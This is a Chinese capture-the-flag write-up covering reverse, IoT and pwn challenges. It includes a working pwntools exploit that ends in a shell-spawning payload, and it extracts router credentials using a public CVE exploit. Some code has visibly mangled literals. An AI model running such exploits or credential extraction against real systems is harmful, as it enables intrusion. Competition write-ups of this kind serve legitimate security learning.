2024矩阵杯战队攻防对抗赛WP REVERSE&IOT&PWN篇

admin 2024年6月8日23:58:05评论1 views字数 17420阅读58分4秒阅读模式

Reverse

packpy

Pyinstaller打包的二进制,解压找到pyc并反编译:

import base58, zlib, marshal
try:
    scrambled_code_string = b'X1XehTQeZCsb4WSLBJBYZMjovD1x1E5wjTHh2w3j8dDxbscVa6HLEBSUTPEMsAcerwYASTaXFsCmWb1RxBfwBd6RmyePv3AevTDUiFAvV1GB94eURvtdrpYez7dF1egrwVz3EcQjHxXrpLXs2APE4MS93sMsgMgDrTFCNwTkPba31Aa2FeCSMu151LvEpwiPq5hvaZQPaY2s4pBpH16gGDoVb9MEvLn5J4cP23rEfV7EzNXMgqLUKF82mH1v7yjVCtYQhR8RprKCCtD3bekHjBH2AwES4QythgjVetUNDRpN5gfeJ99UYbZn1oRQHVmiu1sLjpq2mMm8tTuiZgfMfsktf5Suz2w8DgRX4qBKQijnuU4Jou9hduLeudXkZ85oWx9SU7MCE6gjsvy1u57VYw33vckJU6XGGZgZvSqKGR5oQKJf8MPNZi1dF8yF9MkwDdEq59jFsRUJDv7kNwig8XiuBXvmtJPV963thXCFQWQe8XGSu7kJqeRaBX1pkkQ4goJpgTLDHR1LW7bGcZ7m13KzW5mVmJHax81XLis774FjwWpApmTVuiGC2TQr2RcyUTkhGgC8R4bQiXgCsqZMoWyafcSmjdZsHmE6WgNAqPQmEg9FyjpK5f2XC1DkzuyHan5YceeEDMxKUJgJrmNcdGxB7281EyeriyuWNJVH2rVNhio6yoG'
    exec(marshal.loads(zlib.decompress(base58.b58decode(scrambled_code_string))))
except:
    pass

# okay decompiling packpy.pyc

套娃了,再解:

import base58, zlib, marshal
scrambled_code_string = b'X1XehTQeZCsb4WSLBJBYZMjovD1x1E5wjTHh2w3j8dDxbscVa6HLEBSUTPEMsAcerwYASTaXFsCmWb1RxBfwBd6RmyePv3AevTDUiFAvV1GB94eURvtdrpYez7dF1egrwVz3EcQjHxXrpLXs2APE4MS93sMsgMgDrTFCNwTkPba31Aa2FeCSMu151LvEpwiPq5hvaZQPaY2s4pBpH16gGDoVb9MEvLn5J4cP23rEfV7EzNXMgqLUKF82mH1v7yjVCtYQhR8RprKCCtD3bekHjBH2AwES4QythgjVetUNDRpN5gfeJ99UYbZn1oRQHVmiu1sLjpq2mMm8tTuiZgfMfsktf5Suz2w8DgRX4qBKQijnuU4Jou9hduLeudXkZ85oWx9SU7MCE6gjsvy1u57VYw33vckJU6XGGZgZvSqKGR5oQKJf8MPNZi1dF8yF9MkwDdEq59jFsRUJDv7kNwig8XiuBXvmtJPV963thXCFQWQe8XGSu7kJqeRaBX1pkkQ4goJpgTLDHR1LW7bGcZ7m13KzW5mVmJHax81XLis774FjwWpApmTVuiGC2TQr2RcyUTkhGgC8R4bQiXgCsqZMoWyafcSmjdZsHmE6WgNAqPQmEg9FyjpK5f2XC1DkzuyHan5YceeEDMxKUJgJrmNcdGxB7281EyeriyuWNJVH2rVNhio6yoG'
pyc = zlib.decompress(base58.b58decode(scrambled_code_string))

# 加文件头方便反编译,从packpy.pyc抄来的
pyc = bytes.fromhex('55 0D 0D 0A 00 00 00 00 00 00 00 00 00 00 00 00'.replace(' ''')) + pyc
with open('packpy_1.pyc''wb'as f:
    f.write(pyc)

反编译:

import random
encdata = b'x18xfaxaddxedxabxadx9dxe5xc0xadxfaxf9x0bexf9xe5xade6xf9xfdx88xf9x9dxe5x9cxe5x9dexc3))x0fxff'

def generate_key(seed_value):
    key = list(range(256))
    random.seed(seed_value)
    random.shuffle(key)
    return bytes(key)


def encrypt(data, key):
    encrypted = bytearray()
    for byte in data:
        encrypted.append(key[byte] ^ 95)
    else:
        return bytes(encrypted)


try:
    flag = input("input your flag:")
    key = generate_key(len(flag))
    data = flag.encode()
    encrypted_data = encrypt(data, key)
    if encrypted_data == encdata:
        print("good")
except:
    pass

# okay decompiling packpy_1.pyc

简单逆向,用flag长度做seed,shuffle置换表并xor 95。由于置换和xor都是不改变长度的,所以flag的长度就应该是encdata的长度。写脚本解flag:

import random
encdata = b'x18xfaxaddxedxabxadx9dxe5xc0xadxfaxf9x0bexf9xe5xade6xf9xfdx88xf9x9dxe5x9cxe5x9dexc3))x0fxff'
key = list(range(256))
random.seed(len(encdata))
random.shuffle(key)
flag = []
for x in encdata:
    x ^= 95
    flag.append(key.index(x))
print(bytes(flag))

flag{mar3hal_Is_3asy_t0_r3v3rse!!@}

ccc

cython折磨题,手动逆向+导入库利用hook调试。先逆向出比较简单的b2ii2bfunc3_akeyExpand,对于比较复杂的func3checkFlag,使用IDA出来的伪代码逆向出大概,然后用windows Python3.10导入库hook(func3_a可以搞出两个参数,i2b可以搞出每个阶段最后的out)出过程变量来修正细节。

逆出的题目源码:

def b2i(b, idx):
    i = b[idx:idx+4]
    i = int.from_bytes(i, 'big')
    return i

def i2b(i, l, idx):
    b = (i & 0xFFFFFFFF).to_bytes(4'big')
    l[idx:idx+4] = list(b)
    return

def func3_a(a, b):
    mul = a * b
    hd = (mul >> 16) & 0xFFFF
    ld = mul & 0xFFFF
    if ld < hd:
        return ld - hd + 1
    else:
        return ld - hd

def func3(inp, inp_idx, out, out_idx, key):
    x = b2i(inp, inp_idx)
    y = b2i(inp, inp_idx+4)
    xh = (x>>16)
    xl = x & 0xFFFF
    yh = y >> 16
    yl = y & 0xFFFF
    idx = 0
    for i in range(8):
        r1 = func3_a(xh & 0xFFFF, key[idx])
        r2 = xl + key[idx+1]
        r3 = yh + key[idx+2]
        r4 = func3_a(yl & 0xFFFF, key[idx+3])
        r5 = func3_a((r1 ^ r3) & 0xFFFF, key[idx+4])
        r6 = func3_a(((r2 ^ r4) + r5) & 0xFFFF, key[idx+5])
        xh = r1 ^ r6
        yl = r4 ^ (r5 + r6)
        yh = (r5 + r6) ^ r2
        xl = r6 ^ r3
        idx += 6
    xh = func3_a(xh & 0xFFFF, key[idx])
    yh = yh + key[idx+1]
    xl = (xl + key[idx+2]) & 0xFFFF
    yl = func3_a(yl & 0xFFFF, key[idx+3])
    i2b((xh << 16) | (yh & 0xFFFF), out, out_idx)
    i2b((xl << 16) | (yl & 0xFFFF), out, out_idx+4)
    return

def keyExpand(inKey, outKey):
    for i in range(8):
        x = (inKey[i * 2] & 0xFF) << 8
        y = inKey[i * 2 + 1] & 0xFF
        xy = x | y
        outKey[i] = xy
    base = 0
    idx = 0
    for _ in range(852):
        x = outKey[base + ((idx + 1) & 7)] << 9
        y = outKey[base + ((idx + 2) & 7)] >> 7
        xy = (x | y) & 0xFFFF
        outKey[base + idx + 8] = xy
        base += (idx + 1) & 8
        idx = (idx + 1) & 7
    return

def checkFlag(s):
    master_key = [7820011786215190169721841581631991942416046]
    dst = [22375841371408101422420710891358150111601622435222180122247164961612152025818472236150961991372731311232271432421111376587]
    key = [0 for _ in range(52)]
    keyExpand(master_key, key)
    out = [0 for _ in range(48)] # 1024
    for i in range(0488):
        func3(list(s), i, out, i, key)
    return out

# 不是源码,检查算法的细节有无问题
dst = [1943914214189113235779196193937312513014973118573103111963152151885121363883814215614331811902321019282861592021101550]
s = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv"
out = checkFlag(s)
print(out == dst

hook方法:(i2b的hook同理)

>>> import Challenge as c
>>> dir(c)
['__builtins__''__doc__''__file__''__loader__''__name__''__package__''__spec__''__test__''b2i''checkFlag''func3''func3_a''func_a''i2b''keyExpend']
>>> def hook_func3a(a, b): # 已经通过逆向cython得到了func3_a,这里hook也不会修改原函数逻辑
...     print(a, b)
...     mul = a * b
...     hd = (mul >> 16) & 0xFFFF
...     ld = mul & 0xFFFF
...     if ld < hd:
...         return ld - hd + 1
...     else:
...         return ld - hd
...
>>> c.__dict__["func3_a"] = hook_func3a
>>> c.checkFlag("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv")
16706 20168
18248 43336
7807 47262
57832 41927
49576 49905
41513 32082
9965 37233
# 过多数据,省略
50984 54392
37363 63582
21318 10117
59827 21941
34641 10152
error
>>>

8字节ECB分组加密,由最后的比对数组可以知道每组加密最后的xh、xl、yh、yl,func3_a采用枚举方法得出;循环中末尾的xor可以抵消相同项,由此知道r1 ^ r3和r2 ^ r4,从而可以算出r5和r6,然后倒推出r1-r4,进而倒推出每一次循环最开始的xh、xl、yh、yl。解题脚本:

def keyExpand(inKey, outKey):
    for i in range(8):
        x = (inKey[i * 2] & 0xFF) << 8
        y = inKey[i * 2 + 1] & 0xFF
        xy = x | y
        outKey[i] = xy
    base = 0
    idx = 0
    for _ in range(852):
        x = outKey[base + ((idx + 1) & 7)] << 9
        y = outKey[base + ((idx + 2) & 7)] >> 7
        xy = (x | y) & 0xFFFF
        outKey[base + idx + 8] = xy
        base += (idx + 1) & 8
        idx = (idx + 1) & 7
    return

def b2i(b, idx):
    i = b[idx:idx+4]
    i = int.from_bytes(i, 'big')
    return i

def i2b(i, l, idx):
    b = (i & 0xFFFFFFFF).to_bytes(4'big')
    l[idx:idx+4] = list(b)
    return

def func3_a(a, b):
    mul = a * b
    hd = (mul >> 16) & 0xFFFF
    ld = mul & 0xFFFF
    if ld < hd:
        return ld - hd + 1
    else:
        return ld - hd

def func3_a_rev(ret, b): # 枚举
    for i in range(0x10000):
        if ret == (func3_a(i, b) & 0xFFFF):
            return i

def func3(inp, inp_idx, out, out_idx, key):
    x = b2i(inp, inp_idx)
    y = b2i(inp, inp_idx+4)
    xh = (x>>16)
    xl = x & 0xFFFF
    yh = y >> 16
    yl = y & 0xFFFF
    idx = 0
    for i in range(8):
        r1 = func3_a(xh & 0xFFFF, key[idx])
        r2 = xl + key[idx+1]
        r3 = yh + key[idx+2]
        r4 = func3_a(yl & 0xFFFF, key[idx+3])
        r5 = func3_a((r1 ^ r3) & 0xFFFF, key[idx+4])
        r6 = func3_a(((r2 ^ r4) + r5) & 0xFFFF, key[idx+5])
        xh = r1 ^ r6
        yl = r4 ^ (r5 + r6)
        yh = (r5 + r6) ^ r2
        xl = r6 ^ r3
        idx += 6
    xh = func3_a(xh & 0xFFFF, key[idx])
    yh = yh + key[idx+1]
    xl = (xl + key[idx+2]) & 0xFFFF
    yl = func3_a(yl & 0xFFFF, key[idx+3])
    i2b((xh << 16) | (yh & 0xFFFF), out, out_idx)
    i2b((xl << 16) | (yl & 0xFFFF), out, out_idx+4)
    return

master_key = [7820011786215190169721841581631991942416046]
dst = [22375841371408101422420710891358150111601622435222180122247164961612152025818472236150961991372731311232271432421111376587]
key = [0 for _ in range(52)]
keyExpand(master_key, key)

flag = []
for i in range(0488):
    tmp = []
    for j in range(i, i+82):
        tmp.append(int.from_bytes(dst[j:j+2], 'big'))
    xh, yh, xl, yl = tmp
    yl = func3_a_rev(yl, key[-1])
    xl = (xl - key[-2]) & 0xFFFF
    yh = (yh - key[-3]) & 0xFFFF
    xh = func3_a_rev(xh, key[-4])
    for j in range(0486)[::-1]:
        r1_xor_r3 = xh ^ xl
        r2_xor_r4 = yh ^ yl
        r5 = func3_a(r1_xor_r3, key[j+4]) & 0xFFFF
        r6 = func3_a((r2_xor_r4 + r5) & 0xFFFF, key[j+5]) & 0xFFFF
        r1 = xh ^ r6
        r2 = yh ^ ((r5 + r6) & 0xFFFF)
        r3 = xl ^ r6
        r4 = yl ^ ((r5 + r6) & 0xFFFF)
        xh = func3_a_rev(r1, key[j])
        xl = (r2 - key[j+1]) & 0xFFFF
        yh = (r3 - key[j+2]) & 0xFFFF
        yl = func3_a_rev(r4, key[j+3])
    tmp = (xh, xl, yh, yl)
    try:
        for i in range(4):
            flag += list(tmp[i].to_bytes(2'big'))
    except:
        pass
print(bytes(flag))

flag{c620aafa-a72b-d11f-2a9d-334d595bb4a7}

IOT

special

参考CVE-2019-19822-19825-exploit.sh

参考链接:https://packetstormsecurity.com/files/156083/Realtek-SDK-Information-Disclosure-Code-Execution.html

这个exp是执行攻击的,解密后得到账号密码,编写exp并发送请求,我们只需要前半段,解密后获得账号密码即可,直接梭哈

题目解包之后拿到了很多压缩包

binwalk  -Me firmbware.bin

解包之后发现是乱码

2024矩阵杯战队攻防对抗赛WP REVERSE&IOT&PWN篇

没有什么东西,想到之前接触过几个cve联合的exp,也是得到密码之后,发出进攻,我们仅需要得到密码,也就是恢复损坏的文件,搜索相关资料得知,可以利用以下几个CVE-2019-19822、CVE-2019-19823、CVE-2019-19824、CVE-2019--19825

找到了对应的exp脚本

根据cve的exp步骤

//decode.c
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <endian.h>

#define N   4096 /* size of ring buffer */
#define F     18 /* upper limit for match_length */
#define THRESHOLD 2   /* encode string into position and length if match_length is greater than this */
static unsigned char *text_buf; /* ring buffer of size N, with extra F-1 bytes to facilitate string comparison */
#define LZSS_TYPE unsigned short
#define NIL   N /* index for root of binary search trees */
struct lzss_buffer {
 unsigned char text_buf[N + F - 1];
 LZSS_TYPE lson[N + 1];
 LZSS_TYPE rson[N + 257];
 LZSS_TYPE dad[N + 1];
};
static LZSS_TYPE  match_position, match_length;  /* of longest match.  These are set by the InsertNode() procedure. */
static LZSS_TYPE  *lson, *rson, *dad;  /* left & right children & parents -- These constitute binary search trees. */


typedef struct compress_mib_header {
 unsigned char signature[6];
 unsigned short compRate;
 unsigned int compLen;
} COMPRESS_MIB_HEADER_T;

#define handle_error(msg) 
           do { perror(msg); exit(EXIT_FAILURE); } while (0)


int Decode(unsigned char *ucInput, unsigned int inLen, unsigned char *ucOutput) /* Just the reverse of Encode(). */
{

 int  i, j, k, r, c;
 unsigned int  flags;
 unsigned int ulPos=0;
 unsigned int ulExpLen=0;

 if ((text_buf = malloc( N + F - 1 )) == 0) {
  //fprintf(stderr, "fail to get mem %s:%dn", __FUNCTION__, __LINE__);
  return 0;
 }

 for (i = 0; i < N - F; i++)
  text_buf[i] = ' ';

  
 r = N - F;
 flags = 0;
 while(1) {
  if (((flags >>= 1) & 256) == 0) {
   c = ucInput[ulPos++];
   if (ulPos>inLen)
    break;
   flags = c | 0xff00;  /* uses higher byte cleverly */
  }       /* to count eight */
  if (flags & 1) {
   c = ucInput[ulPos++];
   if ( ulPos > inLen )
    break;
   ucOutput[ulExpLen++] = c;
   text_buf[r++] = c;
   r &= (N - 1);
  } else {
   i = ucInput[ulPos++];
   if ( ulPos > inLen ) break;
   j = ucInput[ulPos++];
   if ( ulPos > inLen ) break;

   i |= ((j & 0xf0) << 4);
   j = (j & 0x0f) + THRESHOLD;
   for (k = 0; k <= j; k++) {
    c = text_buf[(i + k) & (N - 1)];
    ucOutput[ulExpLen++] = c;
    text_buf[r++] = c;
    r &= (N - 1);
   }
  }
 }

 free(text_buf);
 return ulExpLen;

}


void main(int argc, char**argv) {
           char *addr;
           int fd;
           struct stat sb;
           off_t offset, pa_offset;
           size_t length;
           ssize_t s;
           char* filename = "config.dat";

           COMPRESS_MIB_HEADER_T * header;

           if (argc>2) {
             printf("Wrong number of parameters!");
             exit(1);
           }
           if (argc==2) {
             filename=argv[1];
           }
   
           fd = open(filename, O_RDONLY);
           if (fd == -1)
               handle_error("open");

           if (fstat(fd, &sb) == -1)           /* To obtain file size */
               handle_error("fstat");


           addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

           header = (COMPRESS_MIB_HEADER_T*)addr;

   
           printf("%un", be16toh(header->compRate));
           printf("%un", be32toh(header->compLen));
           printf("%un", sb.st_size);
           unsigned char *expFile=NULL;
           expFile=calloc(1,be16toh(header->compRate)*be32toh(header->compLen));


   
           unsigned int expandLen = Decode(addr+sizeof(COMPRESS_MIB_HEADER_T), be32toh(header->compLen), expFile);

           printf("%un", expandLen);
           printf("%.*sn",100, expFile);
           fwrite(expFile, 1, expandLen, stdout);
           //flash_read_raw_mib("config.dat");
}
#!/bin/bash

根据exp走,写一个遍历每个文件的shell脚本,直接遍历即可,就可以将passwd给提取出来

之后在解包的路径中执行遍历解密即可

# 遍历当前目录及所有子目录的文件
find . -type f | while read file; do
    # 打印当前处理的文件名
    echo "Processing file: $file"

    # 执行第一个命令
    result1=$(./decode "$file" | xxd -p | tr -d 'n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -p)
    echo "Output of first command: $result1"

    # 执行第二个命令
    result2=$(./decode "$file" | xxd -p | tr -d 'n' | grep -Po 'b6001f.*?00' | sed 's#00$##g' | sed 's#b6001f##g' | xxd -r -p)
    echo "Output of second command: $result2"
done

2024矩阵杯战队攻防对抗赛WP REVERSE&IOT&PWN篇

然后进行md5加密就行了

flag{0e327444a0ef9a1819c341f396d97b18}

PWN

fshell

1、登录功能,对输入内容进行凯撒密码变换,可以直接绕过

2024矩阵杯战队攻防对抗赛WP REVERSE&IOT&PWN篇

直接绕过就行了,他不是跟passwrd字符串进行比对,gdb动态调试即可得到,然后凯撒加密处理一下即可登录成功

2024矩阵杯战队攻防对抗赛WP REVERSE&IOT&PWN篇

2、功能3对我们的输入的数据进行处理,最后跳转到我们写入的地方执行,很明显的shellcode,但是shellcode进行了处理,需要我们提前构造好shellcode

2024矩阵杯战队攻防对抗赛WP REVERSE&IOT&PWN篇

3、跳转的0x8105300 flt_8105300,对此处进行搜索发现

2024矩阵杯战队攻防对抗赛WP REVERSE&IOT&PWN篇

登录成功之后,功能6会对我们输入shellcode的位置赋rwx

此题的浮点数的变换算法,也是这道题比较有趣的一个点

笔者花了挺长时间对此处数据处理,此处我们多花一点笔墨带着大家一起学习

v8 = 4
for ( i = 0; i <= 21; ++i )
  {
    if ( !v7 )
      break;
    v7 = scanf("%d", (char)&v4);
    v11 = (long double)v4 / (long double)a1;
    v2 = v11;//v11是double类型,强转float
    v5 = v2;
    v9 = &v5;
    if ( *((_BYTE *)&v5 + 3) <= 0x4Au )//处理完的第三个位置得大于0x4A
      break;
    v3 = v11;
    flt_8105300[i] = v3;
  }

1、我们输入的int数值会被当做long double进行除法操作,最后除完会强转为float类型,我们只需要提前按照要求乘回来,可以就可以构造写入我们的shellcode了,但是第三个位置得大于0x4a,挺多都被限制住了

int->double->float ->输出

我们需要写一个程序来提前处理我们要输入的shellcode

笔者的是gpt生成的

#include <stdio.h>
#include <stdint.h>

int main(){
    int i;
    float v11;
    double v4;
    uint8_t* c;

    while(1){
        printf("Enter a hexadecimal value (or 0 to exit): ");
        scanf("%x", &i);
        if(i == 0){
            break;
        }
        v4 = i;
        v4 = v4 / 0x48;
        v11 = v4;

        c = (uint8_t*)&v11;
        printf("0x");
       printf("%02x", c[3]);
       printf("%02x", c[2]);
       printf("%02x", c[1]);
       printf("%02x", c[0]);
        printf("n");
    }

    return 0;
}

随便生成一点0x5d5d5d5d进行验证

shellcode可控这个难题我们已经解决,接下来就是然后利用了,笔者用了最短shellcode进行尝试,但是都是因为程序逻辑中

if ( *((_BYTE *)&v5 + v8 - 1) <= 0x4Au ) break;

第三个不得小于0x4a,而没有写入完整,但是我想到了pop的32位字节码,不禁让笔者想到2023羊城杯的一个pwn题也是用的一个手法,不断pop

可以不断pop,知道回到栈上我们可控的位置,我们可以在这里使用其他功能点提前布置内容,经过不断pop就可以到这个位置执行别的内容

2024矩阵杯战队攻防对抗赛WP REVERSE&IOT&PWN篇

我们先写满pop,看看能不能到最后的长度可以遇到别的指令或者我们所能遇到的东西

在功能三我们可以输入字符串,栈中的内容是我们可控的,因此我们可以提前在此处布置rop链子,这里不会受到浮点数处理的的影响

写满了pop,发现这个方法可行

2024矩阵杯战队攻防对抗赛WP REVERSE&IOT&PWN篇

2024矩阵杯战队攻防对抗赛WP REVERSE&IOT&PWN篇

整个函数看到了sys_read函数,具体思路就是劫持到这里,然后在此处写shellcode

from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='i386',os='linux')

local = 2
if local == 1:
 io = process([b"./ld.so"b"./pwn"], env = {"LD_PRELOAD" : b"./libc.so.6"})
elif local == 2:
    io = process("./main")
elif local == 3:
 io = remote('101.200.122.251'14509)

def debug():
    gdb.attach(io,'b main')
    #gdb.attach(io,'b *$rebase (0x1764)')
    sleep(1)

sa = lambda a,s:io.sendafter(a,s)
sla = lambda a,s:io.sendlineafter(a,s)
s = lambda a:io.send(a)
sl = lambda a:io.sendline(a)
ru = lambda s:io.recvuntil(s)
rc = lambda s:io.recv(s)
uu32 = lambda:u32(io.recvuntil("xf7")[-4:].ljust(4b"x00"))
uu64 = lambda:u64(io.recvuntil("x7f")[-6:].ljust(8b"x00"))
inter = lambda:io.interactive()
#login
ru("@@")
sl(str(1))
ru("username")
sl(b"user")
ru("password")
sl("ozrrvnqc")

#赋权
ru("@@")
sl(str(6))

sstr = b'x00'*8+ p32(0x807EC96) + p32(0x8103ff4) + p32(0x804A1FD)
print(len(sstr))
#inter()
sstr = sstr.ljust(20b'a')

#shellcode
ru("@@")
sl(str(3))
ru("offset:")
sl(str(1))
ru("decrypt:")
gdb.attach(io,"b *0x0804A209")
pause()
s(sstr)



###
###
#pop to  read
#pop    ebp
#pop    ebp
#pop    esi
#dec    ebx     0x4b5e5d5d===>0x3db1b12c
sl(str(0x3db1b12c))
sl(str(0x3db1b12c))
sl(str(0x3db1b12c))


# pop    ebp
# pop    ebp
# pop    esi
# dec    ebx  0x4b5e5d5d=====>0x3e8a4240
sl(str(0x3e8a4240))
sl(str(0x3e8a4240))
sl(str(0x3e8a4240))
sl(str(0x3e8a4240))
sl(str(0x3e8a4240))


#push   eax
#push   eax
#pop    ebx
#dec    ebx  0x4b585b59
sl(str(0x3dae965c))

#pop    ecx
#pop    ebx
#pop    eax
#dec    ebx
sl(str(0x3cd9b0e5))#0x4b5b5050

# inc eax  
#inc eax   
#pop ebx   
#dec  ebx

sl(str(0x3daa11dc))#0x4b5bc35b
#pop   ret
sl(str(0x3dcef183))#0x4b5b4040
sl(str(0x1000))#
shellcode = asm(shellcraft.sh())
#set shellcode
sl(shellcode)
inter()

原文始发于微信公众号(山石网科安全技术研究院):2024矩阵杯战队攻防对抗赛WP REVERSE&IOT&PWN篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月8日23:58:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024矩阵杯战队攻防对抗赛WP REVERSE&IOT&PWN篇https://cn-sec.com/archives/2814426.html

发表评论

匿名网友 填写信息